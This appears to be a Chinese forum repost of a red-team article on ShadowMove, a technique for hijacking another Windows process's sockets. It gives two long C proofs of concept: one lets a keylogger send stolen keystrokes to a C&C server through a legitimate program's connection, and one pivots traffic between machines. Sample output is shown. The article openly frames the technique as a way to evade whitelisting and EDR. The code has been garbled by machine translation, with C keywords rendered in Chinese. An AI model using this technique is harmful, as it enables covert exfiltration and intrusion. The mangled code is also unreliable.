8wDlpd.png
8wDFp9.png
8wDEOx.png
8wDMfH.png
8wDKte.png
ShadowMove专有劫持技术,简化隐藏与C2的连接
aiyun 7月前

概述

在这篇文章中,我们将跟大家介绍如何使用ShadowMove技术在合法程序的网络连接中隐藏自己的恶意链接。我们将展示两个使用ShadowMove技术的PoC,并隐藏我们的恶意软件所建立的连接。第一种方法是完全可靠的,但是第二种方法有自己的问题,如果你要在实际操作中使用它,就必须解决这些问题,我们将在文章的最后讨论这些问题。

ShadowMove介绍

ShadowMove是一种从非合作进程中劫持套接字的新技术,发布于2020年USENIX大会上的文章标题为《ShadowMove:一种隐秘的横向运动策略》。了以下事实:AFD(辅助函数驱动程序)文件句柄被Windows API视为套接字句柄,因此可以使用WSADuplicateSocket()函数来复制它们。

从非合作社进程劫持套接字的一种常见模式,是从进程注入开始的,杀死加载我们自己的逻辑来查找和替换目标套接字。但是在ShadowMove技术的帮助下,我们完全不需要注入任何东西:它只需要打开具有PROCESS_DUP_HANDLE权限的进程句柄。

在这个句柄的帮助下,我们可以开始复制所有其他的文件句柄,直到找到名为\ Device \ Afd的文件句柄,然后使用getpeername()检查它是否属于与目标的连接。

为什么这个技术对于红队来说非常有意思?

在我们最近的一次红队评估过程中,我们不得不在目标设备中安装我们的键盘记录器,但是它会屏蔽任何由非白名单二进制文件建立的任何连接。为了避免这个问题,我们需要向一个允许但在ShadowMove技术的帮助下,我们可以避免任何可能由注入产生的噪声(没错,我们可以使用其他方法来绕过EDR,但至少,这种方法更干净)。

在合法进程中隐藏到C&C的连接

假设我们有一个键盘记录程序,我们想使用ShadowMove将截获的密钥发送到我们的C&C。每当我们必须发送密钥密钥时,我们需要运行一个合法的程序并尝试连接到我们的C&C,这样说mssql客户端。当建立连接之后,我们必须使用键盘记录器来劫持连接。当然,在企业环境中,我们还需要通过企业代理来设置连接,而不是直接连接到C&C,但是让我们暂时忘记这一点。

ShadowMove技术的实现步骤如下:

  • 使用PROCESS_DUP_HANDLE权限打开所有者进程;

  • 每一个句柄为0x24(文件)类型;

  • 复制句柄

  • 检索句柄名称;

  • 如果名称不是\ device \ afd,则跳过;

  • 获取远程IP和远程端口号;

  • 如果远程IP和端口与输入参数不匹配,则跳过;

  • 调用WSADuplicateSocketW以获取特殊的WSAPROTOCOL_INFO结构;

  • 创建重复的Socket;

  • 使用这个套接字;

因此,我们只需要提供进程PID和我们C&C的IP地址即可:

/

/ ShadowMove Gateway的PoC,作者Juan ManuelFernández(@ TheXC3LL)

 

#定义_WINSOCK_DEPRECATED_NO_WARNINGS

#include <winsock2.h>

#include <Windows.h>

#include <stdio.h>

 

#pragma comment(lib,“ WS2_32”)

 

//大多数代码改编自https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp

#定义STATUS_INFO_LENGTH_MISMATCH 0xc0000004

#define SystemHandleInformation 16

#define ObjectNameInformation 1

 

 

 

typedef NTSTATUS(NTAPI * _NtQuerySystemInformation)(

ULONG SystemInformationClass,

PVOID系统信息,

ULONG SystemInformationLength,

普隆ReturnLength

);

typedef NTSTATUS(NTAPI * _NtDuplicateObject)(

HANDLE SourceProcessHandle,

HANDLE SourceHandle,

处理TargetProcessHandle,

PHANDLE TargetHandle,

ACCESS_MASK DesiredAccess,

ULONG属性,

ULONG选项

);

typedef NTSTATUS(NTAPI * _NtQueryObject)(

处理对象句柄,

ULONG ObjectInformationClass,

PVOID ObjectInformation,

ULONG ObjectInformationLength,

普隆ReturnLength

);

 

typedef结构体_SYSTEM_HANDLE

{

ULONG ProcessId;

BYTE ObjectTypeNumber;

BYTE标志;

USHORT手柄;

PVOID对象;

ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE,* PSYSTEM_HANDLE;

 

typedef结构体_SYSTEM_HANDLE_INFORMATION

{

ULONG HandleCount;

SYSTEM_HANDLE句柄[1];

} SYSTEM_HANDLE_INFORMATION,* PSYSTEM_HANDLE_INFORMATION;

 

typedef结构体_UNICODE_STRING

{

USHORT长度;

USHORT MaximumLength;

PWSTR缓冲区;

} UNICODE_STRING,* PUNICODE_STRING;

 

 

typedef枚举_POOL_TYPE

{

NonPagedPool,

PagedPool,

NonPagedPoolMustSucceed,

不要使用此类型,

NonPagedPoolCacheAligned,

PagedPoolCacheAligned,

NonPagedPoolCacheAlignedMustS

} POOL_TYPE,* PPOOL_TYPE;

 

typedef struct _OBJECT_NAME_INFORMATION

{

UNICODE_STRING名称;

} OBJECT_NAME_INFORMATION,* POBJECT_NAME_INFORMATION;

 

PVOID GetLibraryProcAddress(PSTR库名,PSTR ProcName)

{

返回GetProcAddress(GetModuleHandleA(LibraryName),ProcName);

}

 

 

 

套接字findTargetSocket(DWORD dwProcessId,LPSTR dstIP){

处理hProc;

PSYSTEM_HANDLE_INFORMATION handleInfo;

DWORD handleInfoSize = 0x10000;

NTSTATUS状态;

DWORD returnLength;

WSAPROTOCOL_INFOW wsaProtocolInfo = {0};

SOCKET targetSocket;

 

//以PROCESS_DUP_HANDLE权限打开目标进程

hProc = OpenProcess(PROCESS_DUP_HANDLE,FALSE,dwProcessId);

如果(!hProc){

printf(“ [!]错误:无法打开进程!\ n”);

退出(-1);

}

printf(“ [+]处理得到的句柄!\ n”);

 

//查找功能

_NtQuerySystemInformation NtQuerySystemInformation =(_NtQuerySystemInformation)GetLibraryProcAddress(“ ntdll.dll”,“ NtQuerySystemInformation”);

_NtDuplicateObject NtDuplicateObject =(_NtDuplicateObject)GetLibraryProcAddress(“ ntdll.dll”,“ NtDuplicateObject”);

_NtQueryObject NtQueryObject =(_NtQueryObject)GetLibraryProcAddress(“ ntdll.dll”,“ NtQueryObject”);

 

//从目标进程中检索句柄

handleInfo =(PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

while((状态= NtQuerySystemInformation(SystemHandleInformation,handleInfo,handleInfoSize,NULL))== STATUS_INFO_LENGTH_MISMATCH)

handleInfo =(PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo,handleInfoSize * = 2);

 

printf(“ [[+]在PID%d \ n中找到了[%d]个处理程序,\ n =========================== \ n”, handleInfo-> HandleCount,dwProcessId);

 

//迭代

for(DWORD i = 0; i <handleInfo-> HandleCount; i ++){

 

//检查是否是所需的句柄类型

如果(handleInfo-> Handles [i] .ObjectTypeNumber == 0x24){

 

SYSTEM_HANDLE handle = handleInfo-> Handles [i];

HANDLE dupHandle = NULL;

POBJECT_NAME_INFORMATION objectNameInfo;

 

//复制句柄

NtDuplicateObject(hProc,(HANDLE)handle.Handle,GetCurrentProcess(),&dupHandle,PROCESS_ALL_ACCESS,FALSE,DUPLICATE_SAME_ACCESS);

objectNameInfo =(POBJECT_NAME_INFORMATION)malloc(0x1000);

 

//获取句柄信息

NtQueryObject(dupHandle,ObjectNameInformation,objectNameInfo,0x1000,&returnLength);

 

//缩小搜索范围,检查名称长度是否正确(len(\ Device \ Afd)== 11 * 2)

如果(objectNameInfo-> Name.Length == 22){

printf(“ [-]测试%d的%d \ n”,i,handleInfo-> HandleCount);

 

//检查它是否以“ Afd”结尾

LPWSTR针=(LPWSTR)malloc(8);

memcpy(needle,objectNameInfo-> Name.Buffer + 8,6);

如果(needle [0] =='A'&&针头[1] =='f'&&针头[2] =='d'){

 

//我们有一个候选人

printf(“ \ t [*] \\ Device \\ Afd位于%d!\ n”,i);

 

//尝试复制套接字

状态= WSADuplicateSocketW((SOCKET)dupHandle,GetCurrentProcessId(),&wsaProtocolInfo);

如果(状态!= 0){

printf(“ \ t \ t [X]复制套接字错误!\ n”);

自由(针);

免费(objectNameInfo);

CloseHandle(dupHandle);

继续;

}

 

// 我们得到了它?

targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily,wsaProtocolInfo.iSocketType,wsaProtocolInfo.iProtocol,&wsaProtocolInfo,0,WSA_FLAG_OVERLAPPED);

如果(targetSocket!= INVALID_SOCKET){

struct sockaddr_in sockaddr;

DWORD len;

len = sizeof(SOCKADDR_IN);

 

//这是套接字吗?

如果(getpeername(targetSocket,(SOCKADDR *)&sockaddr,&len)== 0){

如果(strcmp(inet_ntoa(sockaddr.sin_addr),dstIP)== 0){

printf(“ \ t [*]复制套接字(%s)\ n”,inet_ntoa(sockaddr.sin_addr));

自由(针);

免费(objectNameInfo);

返回targetSocket;

}

}

 

}

 

自由(针);

}

 

}

免费(objectNameInfo);

 

}

}

 

返回0;

}

 

 

int main(int argc,char ** argv){

WORD wVersionRequested;

WSADATA wsaData;

DWORD dwProcessId;

LPWSTR dstIP = NULL;

SOCKET targetSocket;

char buff [255] = {0};

 

printf(“ \ t \ t \ t-= [ShadowMove Gateway PoC] =-\ n \ n”);

 

// smgateway.exe [PID] [IP dst]

/ *这只是一个PoC,我们不验证args。但是至少要检查参数个数是否正确X)* /

如果(argc!= 3){

printf(“ [!]错误:语法为%s [PID] [IP dst] \ n”,argv [0]);

退出(-1);

}

dwProcessId = strtoul(argv [1],NULL,10);

dstIP =(LPSTR)malloc(strlen(argv [2])*(char)+1);

memcpy(dstIP,argv [2],strlen(dstIP));

 

 

// 经典的

wVersionRequested = MAKEWORD(2,2);

WSAStartup(wVersionRequested,&wsaData);

 

targetSocket = findTargetSocket(dwProcessId,dstIP);

send(targetSocket,“从另一侧向你好!\ n”,strlen(“从另一侧向你好!\ n”),0);

recv(targetSocket,buff,255,0);

printf(“ \ n [*]来自外界的消息:\ n \ n%s \ n”,buff);

返回0;

}

在这里,我们只需要从受感染设备发送一条“从另一边打招呼!”消息给C&C服务器,然后C&C服务器就会返回一条“保持水分!”给受感染设备。

两台设备之间的通信“同轴”

我们刚刚看到了如何使用ShadowMove将程序转换为本地植入的代理,但同样的方法也可以用于两台机器之间的通信。大概一个场景,我们有三台机器:A <-> B <- ->C。如果我们想从A访问C的公开服务,那么我们必须在B中转发流量(使用netsh或代理)。当然了,我们也可以使用ShadowMove技术来实现这个目标。

我们只需要在B中执行两个合法程序:一个连接到A中的一个开放端口,另一个连接到C中的目标服务,然后劫持这两个Socket并替换它们。

注意:假设我们想从A执行ldapsearch,而域控制器位于C。那么在A中,我们需要一个脚本来暴露这两个端口,一个从ldapsearch(A')接收连接,另一个从B(A' ')接收连接。因此,在A'中接收的所有内容都被发送到A'(通过B连接),然后我们的网桥将所有内容转发到B和C之间的连接。

在B中执行的代码与我们以前使用的几乎相同:

// ShadowMove Pivot的PoC,作者:Juan ManuelFernández(@ TheXC3LL)

 

#定义_WINSOCK_DEPRECATED_NO_WARNINGS

#include <winsock2.h>

#include <Windows.h>

#include <stdio.h>

 

#pragma comment(lib,“ WS2_32”)

 

//大多数代码改编自https://github.com/Zer0Mem0ry/WindowsNT-Handle-Scanner/blob/master/FindHandles/main.cpp

#定义STATUS_INFO_LENGTH_MISMATCH 0xc0000004

#define SystemHandleInformation 16

#define ObjectNameInformation 1

#定义MSG_END_OF_TRANSMISSION“ \ x31 \ x41 \ x59 \ x26 \ x53 \ x58 \ x97 \ x93 \ x23 \ x84”

#define BUFSIZE 65536

 

typedef NTSTATUS(NTAPI * _NtQuerySystemInformation)(

ULONG SystemInformationClass,

PVOID系统信息,

ULONG SystemInformationLength,

普隆ReturnLength

);

typedef NTSTATUS(NTAPI * _NtDuplicateObject)(

HANDLE SourceProcessHandle,

HANDLE SourceHandle,

处理TargetProcessHandle,

PHANDLE TargetHandle,

ACCESS_MASK DesiredAccess,

ULONG属性,

ULONG选项

);

typedef NTSTATUS(NTAPI * _NtQueryObject)(

处理对象句柄,

ULONG ObjectInformationClass,

PVOID ObjectInformation,

ULONG ObjectInformationLength,

普隆ReturnLength

);

 

typedef结构体_SYSTEM_HANDLE

{

ULONG ProcessId;

BYTE ObjectTypeNumber;

BYTE标志;

USHORT手柄;

PVOID对象;

ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE,* PSYSTEM_HANDLE;

 

typedef结构体_SYSTEM_HANDLE_INFORMATION

{

ULONG HandleCount;

SYSTEM_HANDLE句柄[1];

} SYSTEM_HANDLE_INFORMATION,* PSYSTEM_HANDLE_INFORMATION;

 

typedef结构体_UNICODE_STRING

{

USHORT长度;

USHORT MaximumLength;

PWSTR缓冲区;

} UNICODE_STRING,* PUNICODE_STRING;

 

 

typedef枚举_POOL_TYPE

{

NonPagedPool,

PagedPool,

NonPagedPoolMustSucceed,

不要使用此类型,

NonPagedPoolCacheAligned,

PagedPoolCacheAligned,

NonPagedPoolCacheAlignedMustS

} POOL_TYPE,* PPOOL_TYPE;

 

typedef struct _OBJECT_NAME_INFORMATION

{

UNICODE_STRING名称;

} OBJECT_NAME_INFORMATION,* POBJECT_NAME_INFORMATION;

 

PVOID GetLibraryProcAddress(PSTR库名,PSTR ProcName)

{

返回GetProcAddress(GetModuleHandleA(LibraryName),ProcName);

}

 

 

 

套接字findTargetSocket(DWORD dwProcessId,LPSTR dstIP){

处理hProc;

PSYSTEM_HANDLE_INFORMATION handleInfo;

DWORD handleInfoSize = 0x10000;

NTSTATUS状态;

DWORD returnLength;

WSAPROTOCOL_INFOW wsaProtocolInfo = {0};

SOCKET targetSocket;

 

//以PROCESS_DUP_HANDLE权限打开目标进程

hProc = OpenProcess(PROCESS_DUP_HANDLE,FALSE,dwProcessId);

如果(!hProc){

printf(“ [!]错误:无法打开进程!\ n”);

退出(-1);

}

printf(“ [+]处理得到的句柄!\ n”);

 

//查找功能

_NtQuerySystemInformation NtQuerySystemInformation =(_NtQuerySystemInformation)GetLibraryProcAddress(“ ntdll.dll”,“ NtQuerySystemInformation”);

_NtDuplicateObject NtDuplicateObject =(_NtDuplicateObject)GetLibraryProcAddress(“ ntdll.dll”,“ NtDuplicateObject”);

_NtQueryObject NtQueryObject =(_NtQueryObject)GetLibraryProcAddress(“ ntdll.dll”,“ NtQueryObject”);

 

//从目标进程中检索句柄

handleInfo =(PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);

while((状态= NtQuerySystemInformation(SystemHandleInformation,handleInfo,handleInfoSize,NULL))== STATUS_INFO_LENGTH_MISMATCH)

handleInfo =(PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo,handleInfoSize * = 2);

 

printf(“ [[+]在PID%d \ n中找到了[%d]个处理程序,\ n =========================== \ n”, handleInfo-> HandleCount,dwProcessId);

 

//迭代

for(DWORD i = 0; i <handleInfo-> HandleCount; i ++){

 

//检查是否是所需的句柄类型

如果(handleInfo-> Handles [i] .ObjectTypeNumber == 0x24){

 

SYSTEM_HANDLE handle = handleInfo-> Handles [i];

HANDLE dupHandle = NULL;

POBJECT_NAME_INFORMATION objectNameInfo;

 

//复制句柄

NtDuplicateObject(hProc,(HANDLE)handle.Handle,GetCurrentProcess(),&dupHandle,PROCESS_ALL_ACCESS,FALSE,DUPLICATE_SAME_ACCESS);

objectNameInfo =(POBJECT_NAME_INFORMATION)malloc(0x1000);

 

//获取句柄信息

NtQueryObject(dupHandle,ObjectNameInformation,objectNameInfo,0x1000,&returnLength);

 

//缩小搜索范围,检查名称长度是否正确(len(\ Device \ Afd)== 11 * 2)

如果(objectNameInfo-> Name.Length == 22){

printf(“ [-]测试%d的%d \ n”,i,handleInfo-> HandleCount);

 

//检查它是否以“ Afd”结尾

LPWSTR针=(LPWSTR)malloc(8);

memcpy(needle,objectNameInfo-> Name.Buffer + 8,6);

如果(needle [0] =='A'&&针头[1] =='f'&&针头[2] =='d'){

 

//我们有一个候选人

printf(“ \ t [*] \\ Device \\ Afd位于%d!\ n”,i);

 

//尝试复制套接字

状态= WSADuplicateSocketW((SOCKET)dupHandle,GetCurrentProcessId(),&wsaProtocolInfo);

如果(状态!= 0){

printf(“ \ t \ t [X]复制套接字错误!\ n”);

自由(针);

免费(objectNameInfo);

CloseHandle(dupHandle);

继续;

}

 

// 我们得到了它?

targetSocket = WSASocket(wsaProtocolInfo.iAddressFamily,wsaProtocolInfo.iSocketType,wsaProtocolInfo.iProtocol,&wsaProtocolInfo,0,WSA_FLAG_OVERLAPPED);

如果(targetSocket!= INVALID_SOCKET){

struct sockaddr_in sockaddr;

DWORD len;

len = sizeof(SOCKADDR_IN);

 

//这是套接字吗?

如果(getpeername(targetSocket,(SOCKADDR *)&sockaddr,&len)== 0){

如果(strcmp(inet_ntoa(sockaddr.sin_addr),dstIP)== 0){

printf(“ \ t [*]复制套接字(%s)\ n”,inet_ntoa(sockaddr.sin_addr));

自由(针);

免费(objectNameInfo);

返回targetSocket;

}

}

 

}

 

自由(针);

}

 

}

免费(objectNameInfo);

 

}

}

 

返回0;

}

 

//从MSSQLPROXY重用https://github.com/blackarrowsec/mssqlproxy/blob/master/reciclador/reciclador.cpp

空桥(SOCKET fd0,SOCKET fd1)

{

int maxfd,ret;

fd_set rd_set;

size_t nread;

char buffer_r [BUFSIZE];

maxfd =(fd0> fd1)?fd0:fd1;

而(1){

FD_ZERO(&rd_set);

FD_SET(fd0,&rd_set);

FD_SET(fd1,&rd_set);

ret = select(maxfd + 1,&rd_set,NULL,NULL,NULL);复制代码

if(ret <0 && errno == EINTR){

继续;

}

如果(FD_ISSET(fd0,&rd_set)){

nread = recv(fd0,buffer_r,BUFSIZE,0);

如果(nread <= 0)

休息;

send(fd1,buffer_r,nread,0);

}

如果(FD_ISSET(fd1,&rd_set)){

nread = recv(fd1,buffer_r,BUFSIZE,0);

 

如果(nread <= 0)

休息;

 

//传输结束

if(nread> = strlen(MSG_END_OF_TRANSMISSION)&& strstr(buffer_r,MSG_END_OF_TRANSMISSION)!= NULL){

send(fd0,buffer_r,nread-strlen(MSG_END_OF_TRANSMISSION),0);

休息;

}

 

send(fd0,buffer_r,nread,0);

}

}

}

 

 

int main(int argc,char ** argv){

WORD wVersionRequested;

WSADATA wsaData;

DWORD dwProcessIdSrc;

字dwProcessIdDst;

LPSTR dstIP = NULL;

LPSTR srcIP = NULL;

SOCKET srcSocket;

SOCKET dstSocket;

 

printf(“ \ t \ t \ t-= [ShadowMove Pivot PoC] =-\ n \ n”);

 

// smpivot.exe [PID src] [PID dst] [IP dst] [IP src]

/ *这只是一个PoC,我们不验证args。但是至少要检查参数个数是否正确X)* /

如果(argc!= 5){

printf(“ [!]错误:语法为%s [PID src] [PID dst] [IP src] [IP dst] \ n”,argv [0]);

退出(-1);

}

dwProcessIdSrc = strtoul(argv [1],NULL,10);

dwProcessIdDst = strtoul(argv [2],NULL,10);

 

dstIP =(LPSTR)malloc(strlen(argv [4])*(char)+1);

memcpy(dstIP,argv [3],strlen(dstIP));

srcIP =(LPSTR)malloc(strlen(argv [3])*(char)+1);

memcpy(srcIP,argv [4],strlen(srcIP));

 

// 经典的

wVersionRequested = MAKEWORD(2,2);

WSAStartup(wVersionRequested,&wsaData);

 

srcSocket = findTargetSocket(dwProcessIdSrc,srcIP);

 

dstSocket = findTargetSocket(dwProcessIdDst,dstIP);

如果(srcSocket == 0){

printf(“ \ n [!]错误:无法连接到源套接字”);

返回-1;

}

printf(“ \ n [<]附加到SOURCE \ n”);

如果(dstSocket == 0){

printf(“ \ n [!]错误:无法连接到接收器套接字”);

返回-1;

}

printf(“ [>]附加到SINK \ n”);

printf(“ =========================== \ n [链接上] \ n ============ ================= \ n“);

网桥(srcSocket,dstSocket);

printf(“ =========================== \ n [链接断开] \ n ============ ================= \ n“);

返回0;

}

我们可以通过连接两个监听的netcat来进行测试,其中一个为10.0.2.2,另一个为10.0.2.15:

-= [ShadowMove Pivot PoC] =-

 

[+]处理获得的句柄!

[+]在PID 5364中找到[66919]个处理程序

===========================

[-]测试6779的3779

[-]测试10254,共66919

        [*] \ Device \ Afd找到10254!

        [*]插座重复(10.0.2.15)

[+]处理获得的句柄!

[+]在PID 7596中找到了[67202]个处理程序

===========================

[-]测试3767,共67202

[-]测试10240,共67202

        [*] \ Device \ Afd找到10240!

        [*]重复的套接字(10.0.2.2)

 

[<]附加到SOURCE

[>]附加到SINK

===========================

[衔接]

===========================

在我们的目标之一:

 

psyconauta @ insulanova:〜/ Research / shadowmove |⇒nc -lvp 8081

侦听[0.0.0.0](系列0,端口8081)

来自本地主机59596的连接已收到!

您好,从10.0.2.15起!

这是我从10.0.2.2起!

问题与解决方案

数据冲突

我们在使用复制的套接字时,原始的程序将继续进行数据读取。这也就意味着,如果程序代替我们读取某些字节,它们可能会丢失,但如果我们实现了一个处理丢失的数据包的自定义协议,则可以很容易地解决这一问题。

超时

如果在劫持套接字之前,连接因超时而关闭的话,我们就不能替换目标套接字了。

旧的句柄

根据所使用的程序,可能会找到满足我们条件的旧句柄(getpeername返回目标IP,但句柄不能使用)。如果第一次连接尝试失败,可能会发生这种情况。要解决这个问题,只需改进检测方法。

最新回复 (0)
    • Ai云
      2
        立即登录 立即注册
返回